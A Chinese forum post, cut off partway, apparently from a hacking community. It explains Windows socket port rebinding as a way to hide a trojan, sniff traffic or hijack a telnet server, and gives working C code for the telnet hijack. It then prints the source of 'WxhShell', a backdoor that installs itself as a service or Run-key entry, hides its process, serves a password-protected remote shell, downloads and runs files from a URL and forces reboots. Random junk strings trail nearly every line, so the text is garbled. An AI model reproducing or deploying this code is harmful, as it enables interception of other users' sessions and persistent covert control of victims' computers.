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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1#3|PA#>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w3q'n%  
i;{lY1  
  saddr.sin_family = AF_INET; 0e0)1;t\  
H'#06zP>5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h9 DUS,G9,  
{K+f& 75  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %]7 6u7b/  
0#TL$?=|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FW8Zpr!u  
(]cL5o9  
  这意味着什么?意味着可以进行如下的攻击: 2Pm}wD^`  
TsT5BC63  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1LS1 ZY  
f$^wu~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qZF&^pCF}  
b%MZfaU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6HBDs:   
1A'eH:$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g(i6Uj~)  
g|uyQhsg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !D['}%  
`>UUdv{C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >z%YKdq  
}I uqB*g[t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }&/>v' G  
nxhlTf>3  
  #include :y7K3:d3  
  #include P9 HKev?y  
  #include M7?ktK9`ma  
  #include    {E%c%zzQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I H=$ w c  
  int main() kP$ E+L  
  { ',g%L_8Sq  
  WORD wVersionRequested; o3+s.7 "  
  DWORD ret; rP]|`*B  
  WSADATA wsaData; ZMlBd}H  
  BOOL val; OR6vA5J  
  SOCKADDR_IN saddr; :z P:4 NW  
  SOCKADDR_IN scaddr; ^BLO}9A{P  
  int err; 1_S]t[?I/  
  SOCKET s; nZnqXclzxn  
  SOCKET sc; TO89;O  
  int caddsize; V~*>/2+  
  HANDLE mt; (U# ,;  
  DWORD tid;   G@Z%[YNw  
  wVersionRequested = MAKEWORD( 2, 2 ); ./;uhj  
  err = WSAStartup( wVersionRequested, &wsaData ); wi+Q lf  
  if ( err != 0 ) { y}oA!<#3  
  printf("error!WSAStartup failed!\n"); g]Y%c73  
  return -1; k%gj  
  } TaSS) n  
  saddr.sin_family = AF_INET; OWrQKd  
   ^vM6_=g2E%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &,<,!j)Jr  
RiAg:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rfVQX<95=/  
  saddr.sin_port = htons(23); s9"X.-!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .gfi9J  
  { )nf%S+KV  
  printf("error!socket failed!\n"); ?" 4X&6xl  
  return -1; 8y6dT  
  } *#>(P  
  val = TRUE; pLe4dz WA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D~ 3@v+d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MzUKp"  
  { x[};x;[ZE  
  printf("error!setsockopt failed!\n"); Qq.$! $  
  return -1; bP-(N14x+  
  } b-8@_@f|g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {+#{Cha  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i|z=WnF$&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &)6}.$`  
2?%4|@*H?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jj2=|)w$3  
  { kOo  Vqu  
  ret=GetLastError(); T8\@CV!  
  printf("error!bind failed!\n"); mK$E&,OkA  
  return -1; J \|~k2~  
  } KRlJKd{  
  listen(s,2); 8tSY|ME  
  while(1) oQh;lb  
  { r=3`Eb"t  
  caddsize = sizeof(scaddr); 0~ nCT&V  
  //接受连接请求 Z<>gx m<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7r?,wM  
  if(sc!=INVALID_SOCKET) Y>aVnixx<  
  { U/{t "e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sryA(V  
  if(mt==NULL) X=-=z5  
  { 2~/`L=L  
  printf("Thread Creat Failed!\n"); XdDQ$'*X  
  break; ,=CipL9]  
  } |)To 0Z  
  } ~SBW`=aP}  
  CloseHandle(mt); 9;XbyA]  
  } MVzj7~+  
  closesocket(s); gYN;F u-9Z  
  WSACleanup(); XGR63hXND  
  return 0; KB~1]cYMp  
  }    ,d/$!Yf  
  DWORD WINAPI ClientThread(LPVOID lpParam) {@L{l1|0  
  { gQik>gFr  
  SOCKET ss = (SOCKET)lpParam; !bLCha\  
  SOCKET sc;  mY"Dw^)  
  unsigned char buf[4096]; 6{i0i9Tb  
  SOCKADDR_IN saddr; S+KKGi_e  
  long num; )M Iw/  
  DWORD val; HLz<C  
  DWORD ret; ha|2u(4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \mu';[gLd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vM5I2C3_>!  
  saddr.sin_family = AF_INET; p&Nav,9x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +&"W:Le:  
  saddr.sin_port = htons(23); &u|t{C#0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) = .S2gO >  
  { 2u_=i$xW  
  printf("error!socket failed!\n"); gYbvCs8O!  
  return -1; _5n2'\] H`  
  } FEhBhv|m  
  val = 100; rMWvW(@@D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o/,%rA4  
  { 74 ptd,  
  ret = GetLastError(); ,e$RvFB  
  return -1; *{5}m(5F  
  } `m1stK(PO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {=I,+[(  
  { exSwx-zxI  
  ret = GetLastError(); TuCHD~rb  
  return -1; jS3@Z?x?*  
  } o/ \o -kC}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6flO;d/v  
  { B YB9M  
  printf("error!socket connect failed!\n"); o(v`  
  closesocket(sc); Z{(Gib~{N  
  closesocket(ss); !^L}LtqHI  
  return -1; sR PQr ?  
  } _d~GY,WTdO  
  while(1) |:(BI5&S  
  { k(>J?\iNW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PNLlJlYlP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :.H@tBi*E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YVRE 9  
  num = recv(ss,buf,4096,0); _`QMEr?  
  if(num>0) D.AiqO<z  
  send(sc,buf,num,0); HSG9|}$  
  else if(num==0) uJ=&++[  
  break; >oy%qLHe~t  
  num = recv(sc,buf,4096,0); )rA\+XT7  
  if(num>0) =#TQXm']Gi  
  send(ss,buf,num,0); Jnt r"a-4  
  else if(num==0) {3vm]  
  break; Rbm+V{EF&  
  } ' )F@em  
  closesocket(ss); -,=)O  
  closesocket(sc); Np9Pae'  
  return 0 ; _mdJIa0D6k  
  } jkuNafp}  
)tV]h#4  
$a\X(okx  
========================================================== tvzO)&)$  
_jkJw2+s\  
下边附上一个代码,,WXhSHELL v/KTEM  
B7{j$0fm*  
========================================================== ]6=opvm  
g+.E=Ef8<4  
#include "stdafx.h" aM[fag$c  
c$A}mL_  
#include <stdio.h> Rx%kAt2X  
#include <string.h> =|-xj h  
#include <windows.h> F+xMXBD@>*  
#include <winsock2.h> bg4VHT7?>)  
#include <winsvc.h> jAt6 5a  
#include <urlmon.h> `b@"GOr  
OZ Obx  
#pragma comment (lib, "Ws2_32.lib") l%2B4d9"v  
#pragma comment (lib, "urlmon.lib") 2(D&jL  
8r\xQr'8h  
#define MAX_USER   100 // 最大客户端连接数 U8g?   
#define BUF_SOCK   200 // sock buffer A]V<K[9:b  
#define KEY_BUFF   255 // 输入 buffer mW_A 3S5  
Q%GLT,f1.  
#define REBOOT     0   // 重启 ^eYJ7&t  
#define SHUTDOWN   1   // 关机 f'Xz4;  
^n]?!BdU  
#define DEF_PORT   5000 // 监听端口 78b9Sdi&  
=(k0^ #++G  
#define REG_LEN     16   // 注册表键长度 hU2 N{Ac  
#define SVC_LEN     80   // NT服务名长度 tK <)A)  
@D<Q'7mLh  
// 从dll定义API &P8Q|A-u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x2f_>tu2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FUPJ&7+B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T5U(B3j_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H @E-=Ly  
} % |GV  
// wxhshell配置信息 R?%|RCht1  
struct WSCFG { D3 E!jQ1  
  int ws_port;         // 监听端口 2gjA>ET`N  
  char ws_passstr[REG_LEN]; // 口令 483vFLnF  
  int ws_autoins;       // 安装标记, 1=yes 0=no QaEXk5>e  
  char ws_regname[REG_LEN]; // 注册表键名 KQqQ@D&n  
  char ws_svcname[REG_LEN]; // 服务名 tX}Fb0y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `+@%l*TQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m7mC 7x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -3b0;L&4>x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?at~il$z'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PsD]gN5"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sAc)X!}  
0P53dF  
}; &jPsdv h  
gzdgnF2  
// default Wxhshell configuration 8|Y^z_C  
struct WSCFG wscfg={DEF_PORT, ~yf5$~Z  
    "xuhuanlingzhe", MN)<Tr2f  
    1, mKq9mA"(E  
    "Wxhshell", `Op ";E88  
    "Wxhshell", 7,LT4wYH  
            "WxhShell Service", }#u}{  
    "Wrsky Windows CmdShell Service", @49^WY  
    "Please Input Your Password: ", ^jhHaN]G^  
  1, 7y`~T+  
  "http://www.wrsky.com/wxhshell.exe", 2W~2Hk=0+%  
  "Wxhshell.exe" QnOa?0HL/  
    }; p|bpE F=U  
~E`A,  
// 消息定义模块 AAl`bhx'n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "ChBcxvxb:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z?YGE iR/}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T +4!g|Y  
char *msg_ws_ext="\n\rExit."; Ip 1QmP  
char *msg_ws_end="\n\rQuit."; ;[ zx'e?!  
char *msg_ws_boot="\n\rReboot..."; h/w- &7t  
char *msg_ws_poff="\n\rShutdown..."; %r,2ZLZ  
char *msg_ws_down="\n\rSave to "; hQ8{ A7  
>\p}UPx  
char *msg_ws_err="\n\rErr!"; ,!py n<_  
char *msg_ws_ok="\n\rOK!"; =O _[9kuJ  
"Ii!)n,  
char ExeFile[MAX_PATH]; F;NZJEy  
int nUser = 0; mg;AcAS.o,  
HANDLE handles[MAX_USER]; i\eykYc,  
int OsIsNt; XAFTLNV>  
Zd%\x[f9ck  
SERVICE_STATUS       serviceStatus; n<$I,IRE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nMbV{h ,  
#5I "M WA  
// 函数声明 t[ MRyi)LF  
int Install(void); a:]yFi:Su  
int Uninstall(void); Zj<T#4?8  
int DownloadFile(char *sURL, SOCKET wsh); Q\z*q,^R  
int Boot(int flag); |Z/ySAFM  
void HideProc(void); &boBu^,94  
int GetOsVer(void); ?8nG F%p  
int Wxhshell(SOCKET wsl); Zj^H3 h  
void TalkWithClient(void *cs); Ek. j@79  
int CmdShell(SOCKET sock); RGKJO_*J2  
int StartFromService(void); +[7u>RJ  
int StartWxhshell(LPSTR lpCmdLine); ]- `{kX  
=f p(hX"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tw')2UGg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MdfkC6P  
6a!X`%N=  
// 数据结构和表定义 Zj0&/S  
SERVICE_TABLE_ENTRY DispatchTable[] = fj JIF%  
{ *Ee# x!O  
{wscfg.ws_svcname, NTServiceMain}, 7I  
{NULL, NULL} MLb\:Ihy  
}; ?0<3"2Db~  
 t|DYz#]  
// 自我安装 0&-sz=L  
int Install(void) #,;k>2j0  
{ ouI0"R&@  
  char svExeFile[MAX_PATH]; M;bQid@BG  
  HKEY key; S{H8}m|MW  
  strcpy(svExeFile,ExeFile); w {q YP  
Vqr&)i"b$  
// 如果是win9x系统,修改注册表设为自启动 eyWwE%  
if(!OsIsNt) { 3IxT2@H)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] 7O?c=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -|kDa1knA  
  RegCloseKey(key); YD%Kd&es  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ] ge-b\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N!3f1d7RQ  
  RegCloseKey(key); \3/9lE|gh  
  return 0; Pg36'aTe%j  
    } lo#,zd~  
  } I R&u55#I6  
} S'e2~-p0F  
else {  Ui.F<,E  
^eRuj)$5A  
// 如果是NT以上系统,安装为系统服务 WveFB%@`;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1,J.  
if (schSCManager!=0) x@ O:  
{ $b$D[4  
  SC_HANDLE schService = CreateService }R x%&29&  
  ( 9+']`=a:  
  schSCManager, z=U!D `]v  
  wscfg.ws_svcname, }ie]7N6;  
  wscfg.ws_svcdisp, 9.B7Owgr89  
  SERVICE_ALL_ACCESS, HKwGaCj`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |"< I\Vs:  
  SERVICE_AUTO_START, !|/fVWH  
  SERVICE_ERROR_NORMAL, uI[*uAR  
  svExeFile, )em.KbsPPF  
  NULL, Z0=OR^HjA  
  NULL, uwka 2aSS  
  NULL, |<0@RCgM  
  NULL, KPhqD5, (  
  NULL *GhRU5  
  ); BTyVfq sx  
  if (schService!=0) `<n:D`{dZ  
  { DPOPRi~  
  CloseServiceHandle(schService); v=>Gvl3&U  
  CloseServiceHandle(schSCManager); NsHveOK1.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QFYy$T+W  
  strcat(svExeFile,wscfg.ws_svcname); a6d KQ3D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I'C ,'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lUEyo.xVt  
  RegCloseKey(key); 7w*&Yg]  
  return 0; d8#j@='a*  
    } 2'U9!. o  
  } >e;f{  
  CloseServiceHandle(schSCManager); O~el2   
} I1~g?jpH  
} bRK9Qt#3  
Tjqn::~D  
return 1; bph*X{lFK  
} M}Mzm2d#`  
4;||g@f'[  
// 自我卸载 s|T7)PgR  
int Uninstall(void) wrU[#g,uvr  
{ I\~V0<"jI  
  HKEY key; *zWn4BckN  
'r%oOZk)z  
if(!OsIsNt) { jxaoQeac  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v2{s2kB=  
  RegDeleteValue(key,wscfg.ws_regname); |Y11sDa9h  
  RegCloseKey(key); [\1l4C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vNbA/sM  
  RegDeleteValue(key,wscfg.ws_regname); mtHz6+  
  RegCloseKey(key); $@)d9u cd  
  return 0; >lmL  
  } P1n@E*~V5  
} Uj)]nJX  
} iurB8~Y  
else { }i:'f 2/  
0)!zhO_}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,be?GAq  
if (schSCManager!=0) `t&;Yk]-L  
{ ~x:] ch|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (?y2@I}  
  if (schService!=0) !++62Lf  
  { /g''-yT7#  
  if(DeleteService(schService)!=0) { ;r"B?]JO  
  CloseServiceHandle(schService); 5FI>T=QF  
  CloseServiceHandle(schSCManager); iGLYM-  
  return 0; -d'|X`^nE  
  } GN c|)$  
  CloseServiceHandle(schService); ,0]28 D  
  } nn4Sy,cz  
  CloseServiceHandle(schSCManager); =osw3"ng  
} a HL '(<  
} -<]_:Kf{;&  
Q0\5j<'e  
return 1; RJ4mlW  
} /8\&f %E  
cV,Dl`1r  
// 从指定url下载文件 Po. BcytM  
int DownloadFile(char *sURL, SOCKET wsh) \r,. hUp  
{ $:II @=  
  HRESULT hr; M) XQi/  
char seps[]= "/"; m?$G(E5  
char *token; 4 GW[GT  
char *file; g}QTZT8  
char myURL[MAX_PATH]; I>Fh*2  
char myFILE[MAX_PATH]; a&Du5(r;!  
XF$]KA L0  
strcpy(myURL,sURL); T k&9Klo  
  token=strtok(myURL,seps); %nf=[f  
  while(token!=NULL) g8A{aHb1}  
  { !13 /+ u  
    file=token; u#k ,G`  
  token=strtok(NULL,seps); AiK4t-  
  } BrMp_M  
| V,jd  
GetCurrentDirectory(MAX_PATH,myFILE); ~j#6 goKn  
strcat(myFILE, "\\"); [(EH  
strcat(myFILE, file); %MZDm&f>Kk  
  send(wsh,myFILE,strlen(myFILE),0); _6zP] |VBr  
send(wsh,"...",3,0); y7EX&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1e&b;l'*=  
  if(hr==S_OK) ![ID0}MjJ  
return 0; -Bv1}xf=6  
else dt&Lwf/  
return 1; l(\8c><m  
=2]rA  
} VQjFEJ  
#'J7Wy  
// 系统电源模块 C+m^Z[  
int Boot(int flag) )Q/`o,Vm  
{ EiP&Y,vT  
  HANDLE hToken; ^i)Q CDU7  
  TOKEN_PRIVILEGES tkp; L00 ;rTs>  
wf< `J/7u  
  if(OsIsNt) { yPG\ &Bo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3l(;Pt-yI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,h.Jfo54,  
    tkp.PrivilegeCount = 1; yi-"hT`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A<X :K nl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j{Jc6U  
if(flag==REBOOT) { ZfCr"aL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gdFoTcHgO|  
  return 0; NG!cEo:2aa  
} 3nC#$L-   
else { #r^@*<{^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !vVjZ  
  return 0; p2DNbY\]  
} as |c`4r\O  
  } ;6 6_G Sjz  
  else { }rA+W-7  
if(flag==REBOOT) { Z6([/n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wp*&&0O!  
  return 0; To{G#QEgG  
} xc<eU`-' b  
else { 1S]gD&V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IH5} Az  
  return 0; f(s3TLM  
} K-k.=6mS  
} ],}afa!A  
wt=>{JM  
return 1; E(3+o\w  
} &G|jzXE  
YEPG[W<kg  
// win9x进程隐藏模块 5OW8G][  
void HideProc(void) b|8>eY  
{ uC*:#[  
#JR,C -w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &c?hJ8"  
  if ( hKernel != NULL ) Ed0>R<jR9  
  { |]!Ky[P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $x_52 j\j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LVFsd6:h  
    FreeLibrary(hKernel); uyRA`<&w  
  } 7}tZ?vD  
Xt,,AGm}  
return; KkL:p?@n  
} ]1|Ql*6y,  
nL(%&z \4  
// 获取操作系统版本 +b,31  
int GetOsVer(void) xAd>",=~  
{ s3_e7D ^H  
  OSVERSIONINFO winfo; Vkvb=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); : Nj`_2  
  GetVersionEx(&winfo); h;ol"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *v nxP9<  
  return 1; Rp`_Grcd  
  else +`s&i%{1>  
  return 0; h6T/0YhWLP  
} [' OCw {<  
1S[5#ewB;j  
// 客户端句柄模块 ^'u;e(AaE  
int Wxhshell(SOCKET wsl) t3#H@0<  
{ 'f?&EsIV?  
  SOCKET wsh; eFj6p<  
  struct sockaddr_in client; _z(5e  
  DWORD myID; Ad`[Rt']kI  
B`?N0t%X  
  while(nUser<MAX_USER) rv%ye H  
{ x#j\"$dla  
  int nSize=sizeof(client); Msa6yD#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4j/iG\  
  if(wsh==INVALID_SOCKET) return 1; !G"9xrr1  
s{z~Axup-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oLqbR?  
if(handles[nUser]==0) 2htA7V*dD  
  closesocket(wsh); !,6v=n[Nz  
else _D2bGZN  
  nUser++; D _bkUR1  
  } +{C9uY)$vf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;&W;  
lR@i`)'?U  
  return 0; $nfBv f  
} -wf RR>)d  
<h@z=ijN  
// 关闭 socket l\=-+'Y  
void CloseIt(SOCKET wsh) NHFEr  
{ Bd[L6J)  
closesocket(wsh); a:-)+sgHw  
nUser--; pg?i F1  
ExitThread(0); 7Js>!KR  
} NO+ 55n  
{n'qKur xY  
// 客户端请求句柄 n(Q\' ,C  
void TalkWithClient(void *cs) sR>`QIi(a  
{ m,@1LwBH  
F[7Kw"~J  
  SOCKET wsh=(SOCKET)cs; d@D;'2}Yc  
  char pwd[SVC_LEN]; X@yr$3vC  
  char cmd[KEY_BUFF]; e:$7^Y,U/  
char chr[1]; /Oggt^S  
int i,j; %7NsBR!y  
W<rTq0~$?  
  while (nUser < MAX_USER) { $@_<$t  
,XeyE;||  
if(wscfg.ws_passstr) { U50s!Z t45  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $/, BJ/9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y[ iDX#  
  //ZeroMemory(pwd,KEY_BUFF); 62MRI    
      i=0; @QVqpE<|  
  while(i<SVC_LEN) { oTF^<I-C  
_^6|^PT.  
  // 设置超时 t":W.q<  
  fd_set FdRead;  %K%^ ]{  
  struct timeval TimeOut; q?imE~&U  
  FD_ZERO(&FdRead); X/E7o92\  
  FD_SET(wsh,&FdRead); `sk!C7%  
  TimeOut.tv_sec=8; q6C6PPc  
  TimeOut.tv_usec=0; eC>"my`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8:P*z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z p7yaz3y  
a@fE46o6<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z29qARiX  
  pwd=chr[0]; pK6e/eC  
  if(chr[0]==0xd || chr[0]==0xa) { mfeMmKFu\  
  pwd=0; e~+(7_2  
  break; *3_f &Y  
  } *t#s$Ga  
  i++; 6WE&((r ^  
    } ^s^ JzFw  
2gd<8a''  
  // 如果是非法用户,关闭 socket 861i3OXVE>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Gh]_L+  
} hncS_ZA  
Pv/Pww \  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )|w*/JK\Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =y< ">-  
ET,Q3X\Oe  
while(1) { y:[BP4H?y  
<#+oQ>5s  
  ZeroMemory(cmd,KEY_BUFF); zU f>db  
uFwU-LCe  
      // 自动支持客户端 telnet标准   )\T@W  
  j=0; $ ^W-Wmsz  
  while(j<KEY_BUFF) { |'V DI]p&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [!1)mR  
  cmd[j]=chr[0]; 6X@mPj[/  
  if(chr[0]==0xa || chr[0]==0xd) { 10C 2=  
  cmd[j]=0; ;YK!EMM4!h  
  break; Aautih@LX  
  } gEZwW]r-  
  j++; NXzU0  
    } tmO;:n<N  
)Qh>0T+(  
  // 下载文件 cS<TmS!  
  if(strstr(cmd,"http://")) { Qw24/DJK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .UM<a Ik  
  if(DownloadFile(cmd,wsh)) "sF Xl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LXHwX*`Y  
  else 7"ylN"syZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jW-;4e*H=V  
  } AIuMX4nb  
  else { -"W)|oC_  
:8p&#M  
    switch(cmd[0]) { BRQ"A,  
  mD9STuA$H  
  // 帮助 <Ctyht0c.  
  case '?': { "'['(e+7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =2^Vgc  
    break; s~S?D{!  
  } NTqo`VWe  
  // 安装 [f<"p[  
  case 'i': { q1YLq(e  
    if(Install()) oi7 3YOB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K!3{M!B   
    else \ ,>_c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?VFM ]hO  
    break; w[ Axs8N'  
    } ,LhE shf  
  // 卸载 `.{U-U\  
  case 'r': { `5~7IPl3  
    if(Uninstall()) YecT 96%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ?qk@cKS  
    else :3JCvrq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n vm^k  
    break; mO#I nTO  
    } ]#F q>E  
  // 显示 wxhshell 所在路径 Mv|vRx^b  
  case 'p': { p1+7 <Y:  
    char svExeFile[MAX_PATH]; |y.zo cBj  
    strcpy(svExeFile,"\n\r"); b.QpHrnhtK  
      strcat(svExeFile,ExeFile); A2Q[%A  
        send(wsh,svExeFile,strlen(svExeFile),0); (nGkZ}p  
    break; F[5S(7M 7  
    } egfi;8]E  
  // 重启 Osnyd+dJY  
  case 'b': { E]NY (1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GGH;Z WSe  
    if(Boot(REBOOT)) #C4|@7w%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aiYo8+{!#  
    else { kEO1TS  
    closesocket(wsh); 7'Lp8  
    ExitThread(0); >A3LA3( c  
    } =(%*LY!Xc  
    break; +Y7Pg'35  
    } M~-h-tG  
  // 关机 V|TA:&:7  
